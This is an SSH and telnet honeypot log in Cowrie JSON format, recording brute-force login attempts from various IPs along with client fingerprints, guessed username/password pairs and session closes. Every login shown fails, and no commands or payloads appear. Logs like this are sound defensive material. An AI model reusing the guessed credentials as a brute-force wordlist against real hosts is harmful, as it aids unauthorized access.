{"eventid":"cowrie.login.failed","username":"root","password":"rogovivan72","message":"login attempt [root/rogovivan72] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:52:01.305860Z","src_ip":"80.66.85.226","session":"8db03ee46021","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":56396,"dst_ip":"159.203.135.109","dst_port":22,"session":"d375527a1c00","protocol":"ssh","message":"New connection: 103.153.68.219:56396 (159.203.135.109:22) [session: d375527a1c00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:52:02.136646Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:52:02.141003Z","src_ip":"103.153.68.219","session":"d375527a1c00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:52:02.390502Z","src_ip":"103.153.68.219","session":"d375527a1c00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:52:02.402043Z","src_ip":"80.66.85.226","session":"8db03ee46021","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nancy","message":"login attempt [root/nancy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:52:03.140616Z","src_ip":"103.153.68.219","session":"d375527a1c00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:52:04.392121Z","src_ip":"103.153.68.219","session":"d375527a1c00","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":56424,"dst_ip":"159.203.135.109","dst_port":22,"session":"cb7e52686288","protocol":"ssh","message":"New connection: 62.133.62.83:56424 (159.203.135.109:22) [session: cb7e52686288]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:52:09.427831Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:52:09.431593Z","src_ip":"62.133.62.83","session":"cb7e52686288","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:52:09.519791Z","src_ip":"62.133.62.83","session":"cb7e52686288","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"200192","message":"login attempt [root/200192] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:52:09.789869Z","src_ip":"62.133.62.83","session":"cb7e52686288","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:52:10.882152Z","src_ip":"62.133.62.83","session":"cb7e52686288","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.179.197.26","src_port":53560,"dst_ip":"159.203.135.109","dst_port":22,"session":"048fa3963a27","protocol":"ssh","message":"New connection: 31.179.197.26:53560 (159.203.135.109:22) [session: 048fa3963a27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:52:11.960117Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:52:11.963926Z","src_ip":"31.179.197.26","session":"048fa3963a27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:52:12.077199Z","src_ip":"31.179.197.26","session":"048fa3963a27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ppl","password":"ppl","message":"login attempt [ppl/ppl] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:52:12.567824Z","src_ip":"31.179.197.26","session":"048fa3963a27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:52:13.684643Z","src_ip":"31.179.197.26","session":"048fa3963a27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":40808,"dst_ip":"10.17.0.5","dst_port":22,"session":"123fa30af989","protocol":"ssh","message":"New connection: 46.19.67.181:40808 (10.17.0.5:22) [session: 123fa30af989]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:52:26.785314Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:52:26.789113Z","src_ip":"46.19.67.181","session":"123fa30af989","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:52:26.899435Z","src_ip":"46.19.67.181","session":"123fa30af989","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"18081981","message":"login attempt [root/18081981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:52:27.234343Z","src_ip":"46.19.67.181","session":"123fa30af989","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:52:28.348513Z","src_ip":"46.19.67.181","session":"123fa30af989","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":37720,"dst_ip":"159.203.135.109","dst_port":23,"session":"867525ed6f15","protocol":"telnet","message":"New connection: 107.6.151.170:37720 (159.203.135.109:23) [session: 867525ed6f15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:52:32.287529Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":45380,"dst_ip":"159.203.135.109","dst_port":22,"session":"e2c29019b096","protocol":"ssh","message":"New connection: 103.82.20.28:45380 (159.203.135.109:22) [session: e2c29019b096]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:52:33.577959Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:52:33.581051Z","src_ip":"103.82.20.28","session":"e2c29019b096","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:52:33.851899Z","src_ip":"103.82.20.28","session":"e2c29019b096","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"221291","message":"login attempt [root/221291] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:52:34.667095Z","src_ip":"103.82.20.28","session":"e2c29019b096","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:52:35.941679Z","src_ip":"103.82.20.28","session":"e2c29019b096","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.244.39.224","src_port":49626,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2e5daffb48d","protocol":"ssh","message":"New connection: 190.244.39.224:49626 (10.17.0.5:22) [session: b2e5daffb48d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:52:37.069088Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:52:37.077000Z","src_ip":"190.244.39.224","session":"b2e5daffb48d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:52:37.253131Z","src_ip":"190.244.39.224","session":"b2e5daffb48d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dupadupa","message":"login attempt [root/dupadupa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:52:37.949481Z","src_ip":"190.244.39.224","session":"b2e5daffb48d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:52:39.127818Z","src_ip":"190.244.39.224","session":"b2e5daffb48d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.248.120.6","src_port":42244,"dst_ip":"10.17.0.5","dst_port":22,"session":"9cb090681cc8","protocol":"ssh","message":"New connection: 103.248.120.6:42244 (10.17.0.5:22) [session: 9cb090681cc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:52:59.159204Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:52:59.163207Z","src_ip":"103.248.120.6","session":"9cb090681cc8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:52:59.388796Z","src_ip":"103.248.120.6","session":"9cb090681cc8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"xiaowu123","message":"login attempt [root/xiaowu123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:53:00.315028Z","src_ip":"103.248.120.6","session":"9cb090681cc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:53:01.539839Z","src_ip":"103.248.120.6","session":"9cb090681cc8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":34534,"dst_ip":"159.203.135.109","dst_port":23,"session":"31a3b137cb5e","protocol":"telnet","message":"New connection: 107.6.151.170:34534 (159.203.135.109:23) [session: 31a3b137cb5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:53:28.310782Z"}
{"eventid":"cowrie.session.closed","duration":0.003748655319213867,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:53:28.314397Z","src_ip":"107.6.151.170","session":"31a3b137cb5e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.179.197.26","src_port":47966,"dst_ip":"159.203.135.109","dst_port":22,"session":"8d9a5899e5f3","protocol":"ssh","message":"New connection: 31.179.197.26:47966 (159.203.135.109:22) [session: 8d9a5899e5f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:53:42.544355Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:53:42.547688Z","src_ip":"31.179.197.26","session":"8d9a5899e5f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:53:42.662042Z","src_ip":"31.179.197.26","session":"8d9a5899e5f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"site4","password":"site4","message":"login attempt [site4/site4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:53:43.156293Z","src_ip":"31.179.197.26","session":"8d9a5899e5f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:53:44.273571Z","src_ip":"31.179.197.26","session":"8d9a5899e5f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":115.05260515213013,"message":"Connection lost after 115 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:53:45.998642Z","src_ip":"170.64.224.25","session":"25e34e34de94","protocol":"telnet"}
